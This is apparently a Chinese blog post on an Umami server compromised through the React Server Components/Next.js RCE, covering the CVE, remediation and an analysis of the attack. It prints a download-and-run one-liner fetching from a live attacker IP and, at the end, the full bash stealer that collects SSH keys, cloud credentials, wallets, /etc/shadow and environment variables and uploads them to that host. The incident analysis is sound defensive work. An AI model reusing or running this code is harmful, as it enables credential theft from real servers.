我收到阿里云ECS存在安全风险提示,是 umami 被攻击执行了异常内容。而这个漏洞却是因为上游 Nextjs 以及更上游的 React 存在漏洞导致的,CVSS评分10.0满分,这是一个可以比拟当年 Log4j 的安全核弹,影响涉及next, react-router, waku, @parcel/rsc, @vitejs/plugin-rsc, 以及 rwsdk,等下游项目。
- 漏洞说明
- 核心攻击目标
- 对我的影响
- 攻击过程分析
- 攻击脚本内容
漏洞说明
Umami 存在安全漏洞被被攻击的原因是 Umami 服务使用了 Nextjs 框架存在漏洞 CVE-2025-66478,该漏洞 CVSS10.0 满分。
Nextjs 的安全漏洞是因为 Nextjs 框架的使用 React Server Components (RSC) 协议存在漏洞 CVE-2025-55182,该漏洞 CVSS10.0 满分。
React 在2025/12/3发布了漏洞说明
11月29日,Lachlan Davidson报告了React中的一个安全漏洞,该漏洞允许通过利用React解码发送到React服务器功能端点的有效负载的缺陷来执行未经身份验证的远程代码。
即使您的应用没有实现任何React Server函数端点,如果您的应用支持React Server组件,它仍然可能容易受到攻击。
此漏洞被披露为CVE-2025-55182评级为CVSS 10.0。
影响范围
该漏洞存在于以下版本的19.0、19.1.0、19.1.1和19.2.0中:
- react-server-dom-webpack
- react-server-dom-parcel
- react-server-dom-turbopack
受影响的框架和相关程序
具有对等依赖关系,或包含易受攻击的React包。以下React框架和关联程序受到影响 next, react-router, waku, @parcel/rsc, @vitejs/plugin-rsc, 以及 rwsdk.
漏洞概述
React服务器功能允许客户端调用服务器上的函数。React提供了框架和捆绑程序用来帮助React代码在客户端和服务器上运行的集成点和工具。React将客户端上的请求转换为转发到服务器的HTTP请求。在服务器上,React将HTTP请求转换为函数调用,并将所需的数据返回给客户端。
未经身份验证的攻击者可以向任何服务器函数端点发出恶意HTTP请求,当React反序列化时,该端点会在服务器上实现远程代码执行。修复完成后,将提供该漏洞的更多详细信息。
我认为这次漏洞可以称之为又一次的安全漏洞核弹,主要是因为React的这些存在漏洞在软件是很多流行开源项目的基础依赖,影响涉及nextjs,react,vite等。
并且,就 CVSS 10.0 的评分,当年的 Log4j 漏洞就是典型参考:
- Log4Shell (CVE-2021-44228):Apache Log4j 库中的远程代码执行漏洞,影响范围极广,利用简单,危害巨大。
核心攻击目标
主要攻击的目标是:
- 加密货币钱包:针对Solana、比特币钱包。用于窃取加密货币钱包。
- 云服务凭证:AWS、阿里云、腾讯云等。利用云凭证创建资源进行挖矿或发起攻击。
- SSH密钥:可用于后续服务器入侵。
- 配置文件:各类服务的敏感配置。获取数据库连接字符串、API密钥等。
- 系统敏感信息:可用于提权攻击。
- 数据泄露:获取数据库连接字符串、API密钥等。
- 持久化访问:建立后门,长期控制服务器。
该脚本的动作目标会导致服务器上核心敏感数据泄露,并可进一步攻击服务器所在整个机房或公司的其他的服务器,危害巨大。
对我的影响
已经检测到被攻击的是 Umami 服务,目前 Umami 官方也在第一时间紧急发布了漏洞修复版本 v3.0.2 和 v2.20.1
我已经通过升级到 v3.0.2 解决该安全漏洞。
幸运的是本次攻击对我的影响很小,主要是因为我使用的 Docker 容器镜像,文件系统与ECS机器隔离,所以一些云平台的配置和SSH证书之类的无法获取。
根据这个攻击的逻辑的分析,我容器的ENV环境变量信息被盗取了,里面有敏感的 PostgreSQL 的账号和密码信息。由于我使用的是私有网地址,所以无法直接访问,因此影响很小。
但是密码泄露让我不安,所以接下来要更换密码,我的PostgreSQL是多个项目公用的所以更换密码会需要一些时间。
如果你也使用 Umami,并且是基于容器运行的,我们这里有官方修复后镜像可以 docker pull 下载,
- harbor.cncfstack.com/docker.io/umamisoftware/umami:3.0.2
- harbor.cncfstack.com/docker.io/umamisoftware/umami:mysql-v2.20.1
- harbor.cncfstack.com/docker.io/umamisoftware/umami:postgres-v2.20.1
需要注意的是 umami:3.0.2 支持ARM64和AMD64,而 umami:mysql-v2.20.1 和 umami:postgres-v2.20.1 只支持AMD64。
攻击过程分析
系统异常进程
我收到了异常监控的告警,运行在阿里云的ECS服务器存在一个异常进程启动,我看告警中的进程树如图:
图中核心最后一个是 /bin/sh 指令,执行一个 echo 命令进行进一步的 bash 执行。这个echo的字符串经过 base64 -d 解密后的结果是个 shell 脚本
(command -v curl >/dev/null 2>&1 && curl -s http://47.77.204.248/index | bash) || (command -v wget >/dev/null 2>&1 && wget -q -O- http://47.77.204.248/index | bash) || (command -v python3 >/dev/null 2>&1 && python3 -c "import urllib.request as u,subprocess; subprocess.Popen(['bash'], stdin=subprocess.PIPE).communicate(u.urlopen('http://47.77.204.248/index').read())") || (command -v python >/dev/null 2>&1 && python -c "import urllib2 as u,subprocess; subprocess.Popen(['bash'], stdin=subprocess.PIPE).communicate(u.urlopen('http://47.77.204.248/index').read())")
该命令会依次尝试使用 curl、wget、python3 或 python 从 http://47.77.204.248/index 下载一个脚本,并通过 bash 执行该下载的脚本。
这里做了多种类型的下载工具判断,主要目的是为了更好的兼容性,使在更多的设备上可以获取到该shell脚本。
攻击脚本内容分析
http://47.77.204.248/index 获取的脚本是一个恶意信息收集脚本,在文章最后附完整脚本内容:
其功能是窃取服务器上的敏感数据并发送到远程攻击者服务器。以下是详细分析:
主要功能分析:
1. 敏感文件窃取。脚本会收集以下类型的敏感文件
- 配置文件:.env、.git/config、Docker配置等
- 密钥文件:Solana钱包(.config/solana/id.json)、比特币钱包(.bitcoin/wallet.dat)
- 云服务凭证:AWS、阿里云、腾讯云、Google Cloud、Kubernetes配置
- SSH密钥:.ssh目录下所有文件
- 系统敏感文件:/etc/passwd、/etc/shadow
2. 按模式搜索敏感文件。在用户目录中搜索包含特定关键词的文件
- _history:Bash历史文件等
- credential、password:凭证文件
- private、key、.pem:私钥文件
- config、wallet:配置文件和钱包文件
3. 系统信息收集
- 主机名和操作系统信息
- 环境变量
- 网络配置和IP地址
- 进程列表(ps aux)
- 网络连接信息(netstat -anpt)
4. 数据回传机制。脚本将收集的所有信息保存到本地文件({主机名}_{时间戳}.txt),然后通过多种方式上传到攻击者服务器
- 尝试使用 curl 上传
- 如果失败,尝试 wget
- 再失败则使用 python3
- 最后使用 python2
上传地址为:http://47.77.204.248/upload
5. 隐蔽操作
- 上传成功后删除本地生成的报告文件
- 使用多种上传方法确保成功率
- 文件大小限制为1MB以下,避免大文件引起注意
IP地址分析
对于 http://47.77.204.248 中 IP 地址的分析,可以查看其归属是 阿里云在美国的数据中心。
我已经通过阿里云工单进行反馈。
攻击脚本内容
http://47.77.204.248/index 的脚本内容
#!/bin/bash
# Monitor script configuration
SERVER_URL="http://47.77.204.248/upload"
HOSTNAME=$(hostname)
TIMESTAMP=$(date '+%Y%m%d_%H%M%S')
OUTPUT_FILE="${HOSTNAME}_${TIMESTAMP}.txt"
# File names to monitor
FILE_NAMES=(
".env"
".docker/config.json"
".git/config"
".config/solana/id.json"
".bitcoin/wallet.dat"
".arbitrum/mainnet/config.yaml"
".electrum/config"
)
# Filename patterns to search in user directories (files containing these strings)
MONITOR_PATTERNS=(
"_history"
"credential"
"password"
"config"
"private"
"key"
".pem"
"wallet"
)
# Directory names to monitor in user home directories
MONITOR_DIRS=(
".ssh"
".aws"
".aliyun"
".hcloud"
".tccli"
".config/gcloud"
".kube"
)
# Generate file list from /root and /home/*/
MONITORED_FILES=()
REPORT_DIRS=()
USER_DIRS=()
# Add /root as a user directory
USER_DIRS+=("/root")
# Add files from /root
for fname in "${FILE_NAMES[@]}"; do
MONITORED_FILES+=("/root/$fname")
done
MONITORED_FILES+=("/etc/passwd")
MONITORED_FILES+=("/etc/shadow")
# Add monitor directories from /root if they exist
for dir_name in "${MONITOR_DIRS[@]}"; do
if [ -d "/root/$dir_name" ]; then
REPORT_DIRS+=("/root/$dir_name")
fi
done
# Add files from all users in /home
if [ -d "/home" ]; then
for user_dir in /home/*; do
if [ -d "$user_dir" ]; then
USER_DIRS+=("$user_dir")
for fname in "${FILE_NAMES[@]}"; do
MONITORED_FILES+=("$user_dir/$fname")
done
# Add monitor directories if they exist
for dir_name in "${MONITOR_DIRS[@]}"; do
if [ -d "$user_dir/$dir_name" ]; then
REPORT_DIRS+=("$user_dir/$dir_name")
fi
done
fi
done
fi
# Start report
echo "========================================" > "$OUTPUT_FILE"
echo "Monitor Report - $HOSTNAME" >> "$OUTPUT_FILE"
echo "Time: $(date '+%Y-%m-%d %H:%M:%S')" >> "$OUTPUT_FILE"
echo "========================================" >> "$OUTPUT_FILE"
echo "" >> "$OUTPUT_FILE"
# System information
echo "" >> "$OUTPUT_FILE"
echo "===== Basic System Information =====" >> "$OUTPUT_FILE"
echo "Hostname: $HOSTNAME" >> "$OUTPUT_FILE"
echo "" >> "$OUTPUT_FILE"
echo "Operating System:" >> "$OUTPUT_FILE"
if [ -f /etc/os-release ]; then
cat /etc/os-release >> "$OUTPUT_FILE" 2>&1
elif [ -f /etc/redhat-release ]; then
cat /etc/redhat-release >> "$OUTPUT_FILE" 2>&1
elif [ -f /etc/debian_version ]; then
echo "Debian $(cat /etc/debian_version)" >> "$OUTPUT_FILE" 2>&1
else
uname -a >> "$OUTPUT_FILE" 2>&1
fi
echo "" >> "$OUTPUT_FILE"
echo "Kernel Version:" >> "$OUTPUT_FILE"
uname -r >> "$OUTPUT_FILE" 2>&1
echo "" >> "$OUTPUT_FILE"
echo "Environment:" >> "$OUTPUT_FILE"
env >> "$OUTPUT_FILE" 2>&1
echo "" >> "$OUTPUT_FILE"
echo "Network Interfaces and IP Addresses:" >> "$OUTPUT_FILE"
if command -v ip >/dev/null 2>&1; then
ip addr show >> "$OUTPUT_FILE" 2>&1
elif command -v ifconfig >/dev/null 2>&1; then
ifconfig -a >> "$OUTPUT_FILE" 2>&1
else
echo "No ip or ifconfig command available" >> "$OUTPUT_FILE"
fi
echo "" >> "$OUTPUT_FILE"
# List user home directories
echo "" >> "$OUTPUT_FILE"
echo "" >> "$OUTPUT_FILE"
echo "===== User Home Directories (ls -al) =====" >> "$OUTPUT_FILE"
for user_dir in "${USER_DIRS[@]}"; do
if [ -d "$user_dir" ]; then
echo "" >> "$OUTPUT_FILE"
echo "--- Directory: $user_dir ---" >> "$OUTPUT_FILE"
ls -al "$user_dir" >> "$OUTPUT_FILE" 2>&1
fi
echo "" >> "$OUTPUT_FILE"
done
# Read history files and monitor_log files from user directories
echo "" >> "$OUTPUT_FILE"
echo "" >> "$OUTPUT_FILE"
echo "===== History and Monitor Log Files =====" >> "$OUTPUT_FILE"
for user_dir in "${USER_DIRS[@]}"; do
if [ -d "$user_dir" ]; then
echo "" >> "$OUTPUT_FILE"
echo "--- Scanning directory: $user_dir ---" >> "$OUTPUT_FILE"
# Enable dotglob to match hidden files
shopt -s dotglob nullglob
# Find files containing patterns from MONITOR_PATTERNS
for pattern in "${MONITOR_PATTERNS[@]}"; do
for file in "$user_dir"/*"$pattern"*; do
if [ -f "$file" ]; then
# Check file size (less than 1MB = 1048576 bytes)
file_size=$(stat -c%s "$file" 2>/dev/null || stat -f%z "$file" 2>/dev/null)
if [ "$file_size" -lt 1048576 ]; then
echo "" >> "$OUTPUT_FILE"
echo ">>> File: $file (Size: $file_size bytes) <<<" >> "$OUTPUT_FILE"
echo "" >> "$OUTPUT_FILE"
cat "$file" >> "$OUTPUT_FILE" 2>&1
echo "" >> "$OUTPUT_FILE"
echo ">>> End of file: $(basename "$file") <<<" >> "$OUTPUT_FILE"
else
echo "" >> "$OUTPUT_FILE"
echo ">>> File: $file (Size: $file_size bytes - SKIPPED, larger than 1MB) <<<" >> "$OUTPUT_FILE"
fi
fi
done
done
# Disable dotglob
shopt -u dotglob nullglob
fi
echo "" >> "$OUTPUT_FILE"
done
# Read monitored files
echo "" >> "$OUTPUT_FILE"
echo "" >> "$OUTPUT_FILE"
echo "===== File Contents =====" >> "$OUTPUT_FILE"
for file in "${MONITORED_FILES[@]}"; do
if [ -f "$file" ]; then
echo "" >> "$OUTPUT_FILE"
echo "--- File: $file ---" >> "$OUTPUT_FILE"
cat "$file" >> "$OUTPUT_FILE" 2>&1
fi
echo "" >> "$OUTPUT_FILE"
done
# Read .report directories
echo "" >> "$OUTPUT_FILE"
echo "" >> "$OUTPUT_FILE"
echo "===== Monitor Directory Contents =====" >> "$OUTPUT_FILE"
for report_dir in "${REPORT_DIRS[@]}"; do
if [ -d "$report_dir" ]; then
# List files in the directory
echo "" >> "$OUTPUT_FILE"
echo "--- Directory: $report_dir ---" >> "$OUTPUT_FILE"
echo "Files in directory:" >> "$OUTPUT_FILE"
ls -lh "$report_dir" >> "$OUTPUT_FILE" 2>&1
echo "" >> "$OUTPUT_FILE"
# Read each file in the directory
for report_file in "$report_dir"/*; do
if [ -f "$report_file" ]; then
echo "" >> "$OUTPUT_FILE"
echo ">>> File: $(basename "$report_file") <<<" >> "$OUTPUT_FILE"
echo "" >> "$OUTPUT_FILE"
cat "$report_file" >> "$OUTPUT_FILE" 2>&1
echo "" >> "$OUTPUT_FILE"
echo ">>> End of file: $(basename "$report_file") <<<" >> "$OUTPUT_FILE"
fi
done
fi
echo "" >> "$OUTPUT_FILE"
done
# Execute ps aux command
echo "" >> "$OUTPUT_FILE"
echo "" >> "$OUTPUT_FILE"
echo "===== Process List (ps aux) =====" >> "$OUTPUT_FILE"
ps aux >> "$OUTPUT_FILE" 2>&1
echo "" >> "$OUTPUT_FILE"
# Execute netstat -anpt command
echo "" >> "$OUTPUT_FILE"
echo "" >> "$OUTPUT_FILE"
echo "===== Network Connections (netstat -anpt) =====" >> "$OUTPUT_FILE"
netstat -anpt >> "$OUTPUT_FILE" 2>&1
echo "" >> "$OUTPUT_FILE"
# Function to upload with curl
upload_with_curl() {
curl -X POST \
-F "file=@${OUTPUT_FILE}" \
-F "hostname=${HOSTNAME}" \
-F "timestamp=${TIMESTAMP}" \
--connect-timeout 10 \
--max-time 60 \
"${SERVER_URL}"
return $?
}
# Function to upload with wget
upload_with_wget() {
wget --post-file="${OUTPUT_FILE}" \
--timeout=60 \
--tries=1 \
-O - \
"${SERVER_URL}?hostname=${HOSTNAME}×tamp=${TIMESTAMP}"
return $?
}
# Function to upload with python3
upload_with_python3() {
python3 << EOF
import sys
try:
import urllib.request
import urllib.parse
with open('${OUTPUT_FILE}', 'rb') as f:
data = f.read()
boundary = '----WebKitFormBoundary' + ''.join([chr(i) for i in range(97, 123)])
body = (
'--' + boundary + '\r\n' +
'Content-Disposition: form-data; name="file"; filename="$(basename ${OUTPUT_FILE})"\r\n' +
'Content-Type: application/octet-stream\r\n\r\n'
).encode() + data + (
'\r\n--' + boundary + '\r\n' +
'Content-Disposition: form-data; name="hostname"\r\n\r\n' +
'${HOSTNAME}\r\n' +
'--' + boundary + '\r\n' +
'Content-Disposition: form-data; name="timestamp"\r\n\r\n' +
'${TIMESTAMP}\r\n' +
'--' + boundary + '--\r\n'
).encode()
req = urllib.request.Request('${SERVER_URL}', data=body)
req.add_header('Content-Type', 'multipart/form-data; boundary=' + boundary)
response = urllib.request.urlopen(req, timeout=60)
print(response.read().decode())
sys.exit(0)
except Exception as e:
print(f"Error: {e}", file=sys.stderr)
sys.exit(1)
EOF
return $?
}
# Function to upload with python (python2)
upload_with_python() {
python << EOF
import sys
try:
import urllib2
import os
with open('${OUTPUT_FILE}', 'rb') as f:
data = f.read()
boundary = '----WebKitFormBoundary' + 'abcdefghijklmnop'
body = (
'--' + boundary + '\r\n' +
'Content-Disposition: form-data; name="file"; filename="' + os.path.basename('${OUTPUT_FILE}') + '"\r\n' +
'Content-Type: application/octet-stream\r\n\r\n'
) + data + (
'\r\n--' + boundary + '\r\n' +
'Content-Disposition: form-data; name="hostname"\r\n\r\n' +
'${HOSTNAME}\r\n' +
'--' + boundary + '\r\n' +
'Content-Disposition: form-data; name="timestamp"\r\n\r\n' +
'${TIMESTAMP}\r\n' +
'--' + boundary + '--\r\n'
)
req = urllib2.Request('${SERVER_URL}', data=body)
req.add_header('Content-Type', 'multipart/form-data; boundary=' + boundary)
response = urllib2.urlopen(req, timeout=60)
print response.read()
sys.exit(0)
except Exception as e:
print >> sys.stderr, "Error:", str(e)
sys.exit(1)
EOF
return $?
}
# Try uploading with available tools
UPLOAD_SUCCESS=0
if command -v curl >/dev/null 2>&1; then
if upload_with_curl; then
UPLOAD_SUCCESS=1
fi
fi
if [ $UPLOAD_SUCCESS -eq 0 ] && command -v wget >/dev/null 2>&1; then
if upload_with_wget; then
UPLOAD_SUCCESS=1
fi
fi
if [ $UPLOAD_SUCCESS -eq 0 ] && command -v python3 >/dev/null 2>&1; then
if upload_with_python3; then
UPLOAD_SUCCESS=1
fi
fi
if [ $UPLOAD_SUCCESS -eq 0 ] && command -v python >/dev/null 2>&1; then
if upload_with_python; then
UPLOAD_SUCCESS=1
fi
fi
if [ $UPLOAD_SUCCESS -eq 1 ]; then
rm -f "$OUTPUT_FILE"
exit 0
else
exit 1
fi